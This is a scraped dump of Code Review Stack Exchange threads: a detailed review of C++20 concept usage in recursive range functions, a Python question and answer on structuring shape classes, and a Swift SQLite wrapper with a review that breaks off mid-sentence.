href="https://codereview.stackexchange.com/q/253131/231235">A population_variance Function For Various Type Arbitrary Nested Iterable Implementation in C++</a></p> </li> <li><p>What changes has been made in the code since last question?</p> <ul> <li><p>Avoiding requires clause if possible</p> </li> <li><p>Considering the warning <code>potential divide by 0</code>, <code>if-throw</code> statement is added in <code>arithmetic_mean</code> function and <code>population_variance</code> function.</p> </li> </ul> </li> <li><p>Why a new review is being asked for?</p> <p>After using the concept name instead of <code>class</code> in the template parameter list, I am not sure if concept name is still clear. Is it a good idea to remove the prefix <code>is_</code> in the usage as above? If there is any possible improvement, please let me know.</p> </li> </ul>
[]
[ { "body": "<p>Because this update seems primarily based on the changes to the concepts and <code>requires</code> clauses, that’s what I’m going to focus on.</p>\n<h1><code>is_do_thingable</code> is an anti-pattern.</h1>\n<p>This is really an abuse of the idea of concepts:</p>\n<pre><code>template&lt;typename T&gt;\nconcept is_back_inserterable = requires(T x)\n{\n std::back_inserter(x);\n};\n\n// ...\n\ntemplate&lt;typename T1, typename T2&gt;\nconcept is_std_powable = requires(T1 x1, T2 x2)\n{\n std::pow(x1, x2);\n};\n</code></pre>\n<p>If you find yourself writing <code>do_thingable</code> concepts for every <code>do_thing()</code> function, I’d say you’re really missing the point of concepts. The point of concepts is not to dig out the guts of your algorithm, take every <code>do_x</code>, <code>do_y</code>, and <code>do_z</code> operation out of the body, and then write a <code>requires</code> clause that repeats that entire body as <code>requires do_xable&lt;T&gt; &amp;&amp; do_yable&lt;T&gt; &amp;&amp; do_zable&lt;T&gt;</code>. The point is to consider what <em>kind</em> of type your algorithm is supposed to work for. It’s about <em>SEMANTICS</em>, not <em>syntax</em>.</p>\n<p>For example, instead of <code>is_std_powable&lt;T, U&gt;</code>, you (probably) want something like <code>floating_point&lt;T&gt; and (floating_point&lt;U&gt; or integral&lt;U&gt;)</code>. Or even better <code>arithmetic&lt;T&gt;</code>. Or maybe just <code>number&lt;T&gt;</code>. The point is, the concept is not about what you’re <em>doing</em> to the <code>T</code>, it’s about what that <code>T</code> is conceptually supposed to <em>be</em> (note the key word: “<em>CONCEPTually</em>”). If you’re raising it to a power, it’s probably supposed to be a number. If it’s not a number, then even though it might “work” with <code>std::pow()</code> (for example, you can raise <code>true</code> to the power of <code>false</code>)… it’s probably not what you want. <code>bool</code> works <em>syntactically</em> with <code>std::pow()</code>… but probably not <em>semantically</em> for any real-use purpose.</p>\n<h1>I think you missed the point of the advice.</h1>\n<p>It looks like previous reviews suggested that you “[avoid] the <code>requires</code> clause if possible by using the concept name instead of class in the template parameter list”. That does not mean that you should eliminate <em>ALL</em> <code>requires</code> clauses, or that <code>requires</code> clauses are a bad thing in any way. It just means that instead of:</p>\n<pre><code>template &lt;typename Container&gt;\nrequires std::ranges::range&lt;Container&gt;\nauto func(...\n</code></pre>\n<p>you should probably prefer:</p>\n<pre><code>template &lt;std::ranges::range Container&gt;\nauto func(...\n</code></pre>\n<p>There’s no difference between the two options… except the second is shorter and easier to read, and you’re not repeating the type, so there’s less chance of screwing up.</p>\n<p>But <em>this</em>:</p>\n<pre><code>template &lt;is_funcable T&gt;\nauto func(T)\n</code></pre>\n<p>… is pretty useless. It tells me nothing about what I need for <code>T</code> to be used with <code>func()</code>… except that <code>T</code> can be used with <code>func()</code>. Which… I mean… duh, right?</p>\n<p>This is much more useful:</p>\n<pre><code>template &lt;typename T&gt;\nrequires movable&lt;T&gt; and equality_comparable&lt;T&gt;\nauto func(T)\n</code></pre>\n<p><em>That</em> gives me useful information about what types I can use with <code>func()</code>, without spelling out the entire algorithm in the constraints. And the fact that it’s a <code>requires</code> clause (and not a single concept in the template preamble) isn’t a problem at all.</p>\n<h1>Try to use standard concepts wherever possible</h1>\n<p>As near as I can tell, the purpose of <code>is_elements_iterable&lt;T&gt;</code> is to test that <code>T</code> is a range, and that each value in <code>T</code> is also a range.</p>\n<p>So what is the difference between <code>is_elements_iterable&lt;T&gt;</code> and <code>std::ranges::range&lt;T&gt; and std::ranges::range&lt;std::ranges::range_value_t&lt;T&gt;&gt;</code>? I can’t see any, which means the latter is a better option. (And there are even better options, which I’ll get to later.)</p>\n<p>Using existing (especially standard) concepts is especially important with concepts (as opposed to type traits and SFINAE), because of normalization and subsumption. We’ll get to that next.</p>\n<h1><code>recursive_count()</code></h1>\n<p>Let’s start with the function signatures you have.</p>\n<pre><code>template&lt;std::ranges::range T1, class T2&gt; requires (!is_elements_iterable&lt;T1&gt;)\nconstexpr auto recursive_count(const T1&amp; input, const T2 target)\n\ntemplate&lt;is_elements_iterable T1, class T2&gt;\nconstexpr auto recursive_count(const T1&amp; input, const T2 target)\n</code></pre>\n<p>Now, for starters, let’s use more descriptive names than <code>T1</code> and <code>T2</code>. <code>T1</code> is always going to be a container or view—a range—so why not call it that? (As for <code>T2</code>, that can be anything, so it could just be <code>T</code>.)</p>\n<p>So why are you taking <code>target</code> by value? Imagine I have a <code>vector</code> of <code>string</code>s, and I want to count the number of times a particular very long string appears in the vector. If <code>target</code> is being taken by value, then it’s being copied. Why? Does it need to be? I can’t imagine why. Taking it by <code>const&amp;</code> would avoid the unnecessary copy.</p>\n<p>So, rewriting your concepts a bit (temporarily), this is what we’ve got so far:</p>\n<pre><code>template &lt;typename Range, typename T&gt;\nrequires std::ranges::range&lt;Range&gt; and (!is_elements_iterable&lt;Range&gt;)\nconstexpr auto recursive_count(const Range&amp; input, const T&amp; target)\n\ntemplate &lt;typename Range, typename T&gt;\nrequires is_elements_iterable&lt;Range&gt;\nconstexpr auto recursive_count(const Range&amp; input, const T&amp; target)\n</code></pre>\n<p>Let’s pull out just the constraints:</p>\n<pre><code>requires std::ranges::range&lt;Range&gt; and (!is_elements_iterable&lt;Range&gt;)\n\nrequires is_elements_iterable&lt;Range&gt;\n</code></pre>\n<p><code>is_elements_iterable</code> sorta-kinda implies <code>std::ranges::range</code> (not technically, because of the way <code>is_elements_iterable</code> is written… but practically, yes). So your constraints are really just:</p>\n<pre><code>requires (!is_elements_iterable&lt;Range&gt;)\n\nrequires is_elements_iterable&lt;Range&gt;\n</code></pre>\n<p>Now this is <em>NOT</em> the way to use constraints. This is what you’d have to do with type traits and SFINAE, because type traits and SFINAE don’t understand ordering or subsumption. But concepts do understand those things. Concepts understands that if you have two functions, and one is unconstrained while the other requires <code>is_elements_iterable</code>, then anything that satisfies <code>is_elements_iterable</code> should use the second function. You don’t need to specifically say that anything that <em>DOESN’T</em> satisfy <code>is_elements_iterable</code> should use the first; concepts already understands that.</p>\n<p>Subsumption means that <code>requires foo&lt;T&gt; and bar&lt;T&gt;</code> is more constrained than <code>requires foo&lt;T&gt;</code>, so if something satisfies both the <code>foo</code> and <code>bar</code> constraints, it will choose the first requires clause. If something only satisfies <code>foo</code>, it will choose the second. If something only satisfies <code>bar</code>, or neither <code>foo</code> nor <code>bar</code>, then neither will work.</p>\n<p>So what you really want is just:</p>\n<pre><code>/* nothing, no constraints or requires clause */\n\nrequires is_elements_iterable&lt;Range&gt;\n</code></pre>\n<p>… and this will do pretty much the exact same thing as what you’ve got.</p>\n<p>Well, almost. You also want to constrain the range, so:</p>\n<pre><code>requires std::ranges::range&lt;Range&gt;\n\nrequires std::ranges::range&lt;Range&gt; and is_elements_iterable&lt;Range&gt;\n</code></pre>\n<p>And you don’t just want a range, you want an <em>input</em> range (because you’re only reading the elements, not writing them), so:</p>\n<pre><code>requires std::ranges::input_range&lt;Range&gt;\n\nrequires std::ranges::input_range&lt;Range&gt; and is_elements_iterable&lt;Range&gt;\n</code></pre>\n<p>And as mentioned earlier, you can replace <code>is_elements_iterable</code> with standard concepts like so:</p>\n<pre><code>requires std::ranges::input_range&lt;Range&gt;\n\nrequires std::ranges::input_range&lt;Range&gt; and std::ranges::input_range&lt;std::ranges::range_value_t&lt;Range&gt;&gt;\n</code></pre>\n<p><em>This</em> is a good set of constraints. Anything that’s not an input range won’t work with either function. Anything that is will work with the first one. Anything that is <em>AND</em> whose values are also input ranges will work with the second.</p>\n<p>Now let’s put those back with the rest of the function signatures:</p>\n<pre><code>template &lt;typename Range, typename T&gt;\nrequires std::ranges::input_range&lt;Range&gt;\nconstexpr auto recursive_count(const Range&amp; input, const T&amp; target)\n\ntemplate &lt;typename Range, typename T&gt;\nrequires std::ranges::input_range&lt;Range&gt; and std::ranges::input_range&lt;std::ranges::range_value_t&lt;Range&gt;&gt;\nconstexpr auto recursive_count(const Range&amp; input, const T&amp; target)\n</code></pre>\n<p>Finally, let’s move as much of those constraints into the template prologue, for readability:</p>\n<pre><code>template &lt;std::ranges::input_range Range, typename T&gt;\nconstexpr auto recursive_count(const Range&amp; input, const T&amp; target)\n\ntemplate &lt;std::ranges::input_range Range, typename T&gt;\nrequires std::ranges::input_range&lt;std::ranges::range_value_t&lt;Range&gt;&gt;\nconstexpr auto recursive_count(const Range&amp; input, const T&amp; target)\n</code></pre>\n<p>That gives you two constrained function templates, both requiring that the first argument is an input range.</p>\n<p>(You could also constrain the second type by making a type trait that gets the recursive value type… probably called <code>recursive_range_value_t&lt;Range&gt;</code>, and use that with <code>std::equality_comparable_with</code>.)</p>\n<p>Now, as for the implementations:</p>\n<pre><code>template &lt;std::ranges::input_range Range, typename T&gt;\nconstexpr auto recursive_count(const Range&amp; input, const T&amp; target)\n{\n return std::count(input.begin(), input.end(), target);\n}\n</code></pre>\n<p>This seems wrong. You require that the input is a range… but that only means that it supports <code>std::ranges::begin(input)</code> and <code>std::ranges::end(input)</code>. It does <em>NOT</em> mean it supports <code>input.begin()</code> or <code>input.end()</code>. For example, C arrays work with <code>std::ranges::begin(array)</code> and <code>std::ranges::end(array)</code>, but not with <code>array.begin()</code> or <code>array.end()</code>. Your concepts require <code>std::ranges::begin(input)</code> and <code>std::ranges::end(input)</code>, so that’s what you should use.</p>\n<p>Of course, if you’re doing that, you might as well use <code>std::ranges::count()</code> rather than <code>std::count()</code>, unless you need the execution policy.</p>\n<pre><code>template &lt;std::ranges::input_range Range, typename T&gt;\nrequires std::ranges::input_range&lt;std::ranges::range_value_t&lt;Range&gt;&gt;\nconstexpr auto recursive_count(const Range&amp; input, const T&amp; target)\n{\n return std::transform_reduce(std::begin(input), std::end(input), std::size_t{}, std::plus&lt;std::size_t&gt;(), [target](auto&amp; element) {\n return recursive_count(element, target);\n });\n}\n</code></pre>\n<p>Again, your constraints require <code>std::ranges::begin(input)</code> and <code>std::ranges::end(input)</code>, not <code>std::begin(input)</code> and <code>std::end(input)</code>.</p>\n<p>You have yet another unnecessary copy of <code>target</code> in the lambda capture. There’s no reason not to capture it by reference, and avoid a copy.</p>\n<p>Also, I always recommend to prefer <code>auto&amp;&amp;</code> unless you have a good reason not to. In this case, <code>auto&amp;</code> or <code>auto const&amp;</code> will <em>USUALLY</em> work… but there are pathological cases where it might fail (like with <code>vector&lt;bool&gt;</code>). <code>auto&amp;&amp;</code> <em>ALWAYS</em> works; it <em>ALWAYS</em> does the right thing.</p>\n<h1><code>recursive_count_if()</code></h1>\n<pre><code>// recursive_count_if implementation\ntemplate&lt;std::ranges::range T1, class T2&gt; requires (!is_elements_iterable&lt;T1&gt;)\nconstexpr auto recursive_count_if(const T1&amp; input, const T2 predicate)\n{\n return std::count_if(input.begin(), input.end(), predicate);\n}\n\n// transform_reduce version\ntemplate&lt;is_elements_iterable T1, class T2&gt;\nconstexpr auto recursive_count_if(const T1&amp; input, const T2 predicate)\n{\n return std::transform_reduce(std::begin(input), std::end(input), std::size_t{}, std::plus&lt;std::size_t&gt;(), [predicate](auto&amp; element) {\n return recursive_count_if(element, predicate);\n });\n}\n</code></pre>\n<p>Most of what went for <code>recursive_count()</code> goes for <code>recursive_count_if()</code></p>\n<h1><code>recursive_size()</code></h1>\n<pre><code>// recursive_size implementation\ntemplate&lt;class T&gt; requires (!std::ranges::range&lt;T&gt;)\nconstexpr auto recursive_size(const T&amp; input)\n{\n return 1;\n}\n\ntemplate&lt;std::ranges::range T&gt; requires (!is_elements_iterable&lt;T&gt;)\nconstexpr auto recursive_size(const T&amp; input)\n{\n return input.size();\n}\n\ntemplate&lt;is_elements_iterable T&gt;\nconstexpr auto recursive_size(const T&amp; input)\n{\n return std::transform_reduce(std::begin(input), std::end(input), std::size_t{}, std::plus&lt;std::size_t&gt;(), [](auto&amp; element) {\n return recursive_size(element);\n });\n}\n</code></pre>\n<p>Once again, let’s start with just the constraints:</p>\n<pre><code>requires (!std::ranges::range&lt;T&gt;)\n\nrequires std::ranges::range&lt;T&gt; and (!is_elements_iterable&lt;T&gt;)\n\nrequires is_elements_iterable&lt;T&gt;\n</code></pre>\n<p>Again, this is how you’d use type traits and SFINAE, not concepts. You should take advantage of subsumption:</p>\n<pre><code>// no requires clause; unconstrained\n\nrequires std::ranges::range&lt;T&gt;\n\nrequires std::ranges::range&lt;T&gt; and is_elements_iterable&lt;T&gt;\n</code></pre>\n<p>… and standard concepts (and better type names)…:</p>\n<pre><code>// no requires clause; unconstrained\n\nrequires std::ranges::input_range&lt;Range&gt;\n\nrequires std::ranges::input_range&lt;Range&gt; and std::ranges::input_range&lt;std::ranges::range_value_t&lt;Range&gt;&gt;\n</code></pre>\n<p>… which gives:</p>\n<pre><code>template &lt;typename T&gt;\nconstexpr auto recursive_size(T const&amp;)\n\ntemplate &lt;std::ranges::input_range Range&gt;\nconstexpr auto recursive_size(Range const&amp;)\n\ntemplate &lt;std::ranges::input_range Range&gt;\nrequires std::ranges::input_range&lt;std::ranges::range_value_t&lt;Range&gt;&gt;\nconstexpr auto recursive_size(Range const&amp;)\n</code></pre>\n<p>Couple other things. First, the non-range version just returns <code>1</code>, which is an <code>int</code>. Thing is, the size type is almost always an <em>unsigned</em> type. You’re going to create surprises if <code>recursive_size(x)</code> returns an unsigned type for ranges and a signed type for non-ranges. You probably want to return something like <code>std::size_t{1}</code>, not just <code>1</code>.</p>\n<p>Second, overload 2 uses <code>input.size()</code>. This is not guaranteed to work for a lot of reasons. <code>std::size()</code> and <code>std::ranges::size()</code> only work for ranges that can figure out their size in constant time (which usually means they have a <code>.size()</code> function… but not always, like for C arrays). So it won’t work for <code>std::forward_list</code>, for example—for those types, you’d have to do <code>std::distance(std::ranges::begin(input), std::ranges::end(input))</code>. The best solution would probably to use <code>if constexpr</code>, and test for <code>std::ranges::sized_range</code>, and then use <code>std::ranges::size()</code> if you can, and <code>std::distance()</code> if you can’t.</p>\n<h1><code>recursive_reduce()</code></h1>\n<p>Nothing new here. Except… you probably don’t want to use <code>std::plus&lt;ValueType&gt;</code>. You probably just want to use <code>std::plus&lt;&gt;</code> (and you probably want to have it as the default for the first overload). Why? Well, <code>plus&lt;T&gt;</code> means <code>c = a + b</code> where <code>a</code>, <code>b</code>, and <code>c</code> <em>are all the same type</em> (which is <code>T</code>). <code>plus&lt;&gt;</code> means that they can all be different types, and the type of <code>c</code> will be properly deduced.</p>\n<h1><code>arithmetic_mean()</code></h1>\n<pre><code>// arithmetic_mean implementation\ntemplate&lt;class T = double, is_recursive_sizeable Container&gt;\nconstexpr auto arithmetic_mean(const Container&amp; input)\n{\n if (recursive_size(input) == 0) // Check the case of dividing by zero exception\n {\n throw std::logic_error(&quot;Divide by zero exception&quot;); // Handle the case of dividing by zero exception\n }\n return (recursive_reduce(input, T{})) / (recursive_size(input));\n}\n</code></pre>\n<p>Okay, let’s start with the pointless constraint here. Literally <em>EVERYTHING</em> is “<code>recursive_size</code>-able”. If it’s an input range, it will use overload 2 or 3, and if it’s <em>ANYTHING ELSE</em> it will use overload 1 and return <code>1</code>. So <code>is_recursive_sizeable</code> is a completely meaningless concept.</p>\n<p>(Also, literally everything is “<code>recursive_reduce</code>-able”, though you don’t even use that constraint.)</p>\n<p>Ironically, you have the first template parameter unconstrained, and the second constrained, when the second could be literally anything, but the first <em>must</em> be some kind of arithmetic type… and probably a floating point type. I’d recommend the following instead:</p>\n<pre><code>template &lt;std::floating_point ReturnType = double, typename T&gt;\nconstexpr auto arithmetic_mean(T const&amp; input) -&gt; ReturnType\n\n// Note that the return type is explicitly specified. Why? Because otherwise\n// it will be the result of:\n// recursive_reduce(input, ReturnType{}) / recursive_size()\n// ... which may not be ReturnType (for example, if ReturnType is float, and\n// input contains doubles, then the result will be double).\n</code></pre>\n<p>You call <code>recursive_size()</code> twice in the function, but that seems unwise. If your input is a million elements large, recursively, getting the size may not be all that quick. There’s no reason not to call it once and save the result.</p>\n<p>Also, this is a very technical note, but this isn’t the most efficient or numerically stable way to calculate the mean. Rather than going through the input twice—once to count and one to sum—you could go through it just once with a <code>pair&lt;ReturnType, size_t&gt;</code> and get the size and the sum together simultaneously. There are also ways to calculate the mean as a running tally, which could avoid unnecessary over- or underflows.</p>\n<h1><code>recursive_transform()</code></h1>\n<p><code>recursive_transform()</code> is mostly just more of the same as above.</p>\n<p>I should note that rather than using <code>back_inserter</code>, which only supports <code>vector</code>, <code>deque</code>, and <code>list</code>, you could use <code>std::inserter(output, std::ranges::end(output))</code> to support <code>set</code>, <code>map</code>, hash maps, and more.</p>\n<p><em>HOWEVER…</em></p>\n<pre><code>template&lt;template&lt;class...&gt; class Container, class Function, class... Ts&gt;\nrequires (is_back_inserterable&lt;Container&lt;Ts...&gt;&gt; &amp;&amp; std::ranges::range&lt;Container&lt;Ts...&gt;&gt; &amp;&amp; !is_elements_iterable&lt;Container&lt;Ts...&gt;&gt;)\n// non-recursive version\nconstexpr auto recursive_transform(const Container&lt;Ts...&gt;&amp; input, const Function&amp; f)\n{\n using TransformedValueType = decltype(f(*input.cbegin()));\n Container&lt;TransformedValueType&gt; output;\n std::transform(input.cbegin(), input.cend(), std::back_inserter(output), f);\n return output;\n}\n</code></pre>\n<p>I don’t think this is a good idea at all. I get what you’re trying to do. If <code>Container</code> is a <code>vector&lt;int&gt;</code>, and <code>Function</code> is <code>std::to_string</code>, you want the result to be automatically <code>vector&lt;string&gt;</code>. There are two problems with this:</p>\n<ol>\n<li>It doesn’t really work. It will work with the most basic container types, like <code>vector</code> and <code>list</code>… but it won’t work for <code>map</code>. What if I have a <code>map&lt;int, string&gt;</code> and I want to do a transform that lower-cases all the strings and gives me a new <code>map&lt;int, string&gt;</code>? Then this function won’t work. (And I know I said it would work for simple container types like <code>vector</code>, but it won’t even work for that. If you use a <code>std::pmr::vector&lt;int&gt;</code> and <code>to_string()</code>, you won’t get a <code>std::pmr::vector&lt;std::string&gt;</code>, you’ll get a <code>std::vector&lt;std::string&gt;</code>.)</li>\n<li>It’s not flexible. What if I want to transform a <code>list&lt;string&gt;</code> into a <code>vector&lt;int&gt;</code>? Can’t do it. What if I want to take a <code>vector&lt;string&gt;</code>, and lower-case all the strings <em>in-place</em>? Can’t do it.</li>\n</ol>\n<p>There’s a reason why standard algorithms use output iterators rather than clever tricks like this; output iterators <em>always</em> work, for <em>everything</em>, and they’re infinitely flexible.</p>\n<h1><code>recursive_transform_reduce()</code> and <code>population_variance()</code></h1>\n<p>More of the same.</p>\n<h1>Summary</h1>\n<p>I think you misunderstood the recommendation to put concepts in the template parameter list, rather than the <code>requires</code> clause. I don’t think that was intended to suggest you should avoid <code>requires</code> clauses <em>generally</em>. I think what was meant was <em>EXACTLY</em> what was said: if you already have a concept, and you <em>can</em> put it in the template parameter list rather than the requires clause, then you should do that, just because it simplifies the function signature, and makes it harder to screw up and easier to read. But if you <em>don’t</em> have a concept <em>or</em> you <em>can’t</em> put it in the requires clause (because, it would be unwieldy, or because it’s a conjunction or disjunction), then don’t worry about it.</p>\n<p>I also think you misunderstand the purpose of concepts. Concepts are not meant to be simple syntactic checks like <code>is_plusable</code> to check for <code>a + b</code>. If a type doesn’t support <code>operator+</code>, then there’s already a tool to detect that: the compiler; if some code requires <code>operator+</code>, the code will fail to compile for types without it. (If you really want pretty or descriptive error messages, you can always use type traits and <code>static_assert</code>.)</p>\n<p><a href=\"https://github.com/isocpp/CppCoreGuidelines/blob/master/CppCoreGuidelines.md#t20-avoid-concepts-without-meaningful-semantics\" rel=\"nofollow noreferrer\">Concepts are meant to be <em>SEMANTIC</em> checks</a>. They won’t protect you from any and all syntactic issues. For example, <code>std::ranges::range</code> will probably be <code>true</code> for a signal transmission class with member functions <code>begin()</code> and <code>end()</code> that begin and end a transmission. If you use a signal transmission with a function like <code>recursive_count()</code>… well, that’s just nonsense, and that’s on you; concepts aren’t meant to save you from nonsense like that (presumably, other aspects of the type system will probably save you, though).</p>\n<p>Also, concepts are not like type traits and SFINAE. Concepts understand the idea of “more specialized” in a way that type traits and SFINAE do not. You should take advantage of subsumption, and of constraint normalization, when using concepts.</p>\n<p>And finally, don’t try to be too clever with your interfaces. Avoid interfaces that take decisions away from the user (unless those decisions are objectively bad). If an interface is too complex or has too many options, you can always add an overload with a simpler interface that internally calls the more complex interface with sane defaults. Being able to choose what type of container I get as output from a function is a <em>VERY</em> handy ability to have, even if there are common defaults. Not having that ability is not a feature, it’s a problem.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T19:47:45.513", "Id": "499688", "Score": "2", "body": "This is a very good answer. I wonder how much of the OPs code could be replaced with regular algorithms and some kind of recursive iterator, for example instead of `recursive_transform_reduce(container, ...)` do `std::transform_reduce(recursive_begin(container), recursive_end(container), ...)`. You mention that output iterators always work, however in case of a `recursive_transform()` for example, you'd have to prepare a recursive destination up front to write to, I don't think a `recursive_inserter()` would be possible, at least not one that copies the input structure perfectly." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T15:21:38.843", "Id": "499754", "Score": "0", "body": "Possible for a specific case, perhaps, but probably not generally. Yeah, I think a recursive iterator or container is a much better idea than a recursive algorithm. A thing that bugged me writing the answer (that I didn’t mention, because I was focused on the concepts) was `vector<string>` (or `vector<vector<string>>`)… would you want to iterate over the strings or the chars? Seems to me the answer is almost always going to be the strings. You can’t control that with the algorithm. But with a task-specific container/iterator, you could (and then use all normal algorithms)." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-13T16:15:21.830", "Id": "499759", "Score": "1", "body": "We already looked at the `vector<string>` issue in an earlier question, you can make it work in *some* situations by only recursing while the `UnaryOp`/`BinaryOp` you pass to the recursive algorithm cannot be applied on the value type of the container at the current level. I'm not sure it could be made to work with a generic kind of `recursive_iterator`." } ], "meta_data": { "CommentCount": "3", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T12:45:58.333", "Id": "253381", "ParentId": "253373", "Score": "4" } } ]
{ "AcceptedAnswerId": "253381", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-11T23:58:28.550", "Id": "253373", "Score": "1", "Tags": [ "c++", "recursion", "c++20" ], "Title": "Avoiding requires clause if possible on a series recursive function in C++" }
253373
<p>I'm trying to implement method chaining with classes, but struggle to make it without inner classes.</p> <p>Specifically, I have three classes:</p> <ul> <li>a class for different data loading</li> <li>a class for computation of mathematical properties</li> </ul> <p>I'm not sure how to implement exactly, but I have an intuitive structure in mind:</p> <pre><code>obj = Object() obj.data.square() -&gt; will upload data from a file to draw a square obj.data.circle() -&gt; will upload data from a file to draw a circle obj.data.square().geometry.area() -&gt; will compute an area of a square obj.data.square().geometry.perimeter() -&gt; will compute a perimeter of a square obj.data.circle().geometry.area() -&gt; will compute an area of a circle obj.data.circle().geometry.perimeter() -&gt; will compute a perimeter of a circle </code></pre> <p>Importantly, the classes &quot;Data()&quot; and &quot;Geometry()&quot; can be modified in the future. For example, I can upload other figures, such as a triangle:</p> <pre><code>obj.data.triangle() </code></pre> <p>Or to compute other geometric properties, such as centre of mass, or volume:</p> <pre><code>obj.data.triangle().geometry.centre_of_mass() </code></pre> <p>For example, having the Geometry class:</p> <pre><code>class Geometry(): def area(): return.... def perimeter(): return.... def centre_of_mass(): return.... def volume(): return.... </code></pre> <p>I'm not very familiar with OOP in Python, so any suggestions on how structure my code will be highly appreciated!</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T07:15:53.820", "Id": "499661", "Score": "1", "body": "Code Review requires concrete code from a project, with enough code and / or context for reviewers to understand how that code is used. Pseudocode, stub code, hypothetical code, obfuscated code, and generic best practices are outside the scope of this site." } ]
[ { "body": "<p>I assume that by &quot;inner classes&quot;, you mean something like:</p>\n<pre class=\"lang-py prettyprint-override\"><code>class Outer:\n class Inner:\n pass\n</code></pre>\n<p>In general, this pattern only buys you a nesting for the class names, but should not be required to give your classes the interface you desire.</p>\n<p>What I think you need to do is clarify which piece of code is responsible for each of (a) the values that are necessary to do the computation, e.g. side-lengths and radii, and (b) the logic to do the computations you desire.</p>\n<p>From what I glean from the question, it is not clear where (a) should enter the picture, but I would expect it makes the most sense where the <code>square</code>/<code>circle</code>/etc is called. So let's start from the top:</p>\n<ol>\n<li>Don't add ambiguous, unnecessary classes like <code>Data</code> or <code>Object</code> to your implementation unless you need them. It seems you just need a module with some shape classes in it:</li>\n</ol>\n<pre class=\"lang-py prettyprint-override\"><code># Give your file a name better than `data` or `obj`, why not `shapes.py`?\n\nclass Circle:\n ...\nclass Square:\n ...\n</code></pre>\n<ol start=\"2\">\n<li>Do you need a separate class for each shapes &quot;geometry&quot;? If the goal is to keep the data separate from the calculation logic (a reasonable want), that goal is betrayed already by containing a <code>geometry</code> attribute which has those functions. In other words you have 2 options here, one which doesn't seem like what you are looking for, but I will mention for completeness:</li>\n</ol>\n<pre class=\"lang-py prettyprint-override\"><code>class Square:\n # Data-only class\n def __init__(self, side_length):\n self.side_length = side_length\n\n# Note: a whole nother discussion on the interface for the calc functions\n</code></pre>\n<p>Or, more in line with the interface outlined in your question:</p>\n<pre class=\"lang-py prettyprint-override\"><code>class ShapeGeometry;\n def area(self):\n raise NotImplementedError()\n\nclass Square(ShapeGeometry):\n def __init__(self, side_length):\n self.side_length = side_length\n def area(self):\n ...\n<span class=\"math-container\">```</span>\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T07:18:59.387", "Id": "499662", "Score": "0", "body": "Please note, questions involving stub code are off-topic on this site. If OP edits their post to address the problem and make their post on-topic, they make your answer moot. [It is advised not to answer such questions](https://codereview.meta.stackexchange.com/a/6389/120114). Protip: There are tons of on-topic questions to answer; you'll make more reputation faster if you review code in questions that will get higher view counts for being on-topic." } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T02:58:19.307", "Id": "253375", "ParentId": "253374", "Score": "1" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-12T00:50:59.170", "Id": "253374", "Score": "-1", "Tags": [ "python", "object-oriented" ], "Title": "avoid inner classes" }
253374
<p>I've following sqlite code using C api within Swift having a read and a delete operation for review.</p> <p>For those not familiar with Swift, <code>defer</code> will execute after the end of the function.</p> <p>Since I'm not closing the database connection and keeping it alive, I'm calling <code>sqlite3_db_cacheflush(database)</code> to flush out the changes to the disk. <a href="https://www.sqlite.org/c3ref/db_cacheflush.html" rel="nofollow noreferrer">Link</a></p> <pre><code>class Database { internal var database: OpaquePointer! = nil init(_ database: OpaquePointer) { self.database = database } func deleteById(_ id: Int64) throws -&gt; Int32? { let sql = &quot;DELETE FROM user WHERE id = \(id)&quot; defer { sqlite3_db_cacheflush(database) } guard sqlite3_exec(database, sql, nil, nil, nil) == SQLITE_OK else { throw NSError(domain: String(cString: sqlite3_errmsg(database)), code: 1, userInfo: nil) } return sqlite3_changes(database) } func findAllDepartments() throws -&gt; [Department]? { var statement: OpaquePointer? = nil let sql = &quot;SELECT id, name FROM department&quot; guard sqlite3_prepare_v2(database, sql, -1, &amp;statement, nil) == SQLITE_OK else { throw NSError(domain: String(cString: sqlite3_errmsg(database)), code: 1, userInfo: nil) } defer { sqlite3_finalize(statement) sqlite3_db_cacheflush(database) } var departments: [Department] = [] while sqlite3_step(statement) == SQLITE_ROW { departments.append(Department(id: sqlite3_column_int64(statement, 0), name: String(cString: sqlite3_column_text(statement, 1)))) } return departments } } </code></pre> <p>Usage of Database Class</p> <pre><code>do { if sqlite3_open_v2(url.path, &amp;database, SQLITE_OPEN_READWRITE | SQLITE_OPEN_CREATE | SQLITE_OPEN_FULLMUTEX, nil) == SQLITE_OK { // Existing database (Serialized mode) let db = Database(database) try! db.findAllDepartments() try! db.deleteById(4) } else { // Error opening database print(String(cString: sqlite3_errmsg(database))) } catch { let error as NSError { print(error.description) } </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-22T23:58:44.217", "Id": "500496", "Score": "0", "body": "Have you considered making more of a wrapper around SQLite? So that you wouldn't really get the spilling over of opening a database where you're using the Database class?" } ]
[ { "body": "<p>You did not specify what precisely you were looking for, so a few general observations:</p>\n<ol>\n<li><p><strong>You do not need <code>sqlite3_db_cacheflush</code>.</strong> When you perform SQL updates, they are written to disk immediately (unless you are using transactions). You can do your inserts, updates, and deletes, leave the database open, and you’ll be fine.</p>\n</li>\n<li><p><strong>Use <code>Error</code>, not <code>NSError</code>.</strong> I would advise against <code>NSError</code> (unless you needed Objective-C backward compatibility). In Swift, we would define our own <code>Error</code> type:</p>\n<pre class=\"lang-swift prettyprint-override\"><code>enum DatabaseError: Error {\n case sqlError(Int32, String)\n}\n</code></pre>\n<p>And then</p>\n<pre class=\"lang-swift prettyprint-override\"><code>guard sqlite3_prepare_v2(database, sql, -1, &amp;statement, nil) == SQLITE_OK else {\n throw DatabaseError.sqlError(sqlite3_errcode(database), String(cString: sqlite3_errmsg(database)))\n}\n</code></pre>\n<p>Then, when catching errors, the codes and the error messages are more easily retrieved.</p>\n</li>\n<li><p><strong>Failure of <code>sqlite3_open_v2</code> will leak.</strong> When handling <code>sqlite3_open_v2</code> failure, make sure to close the database or else resources allocated to it will never get freed. I know that this 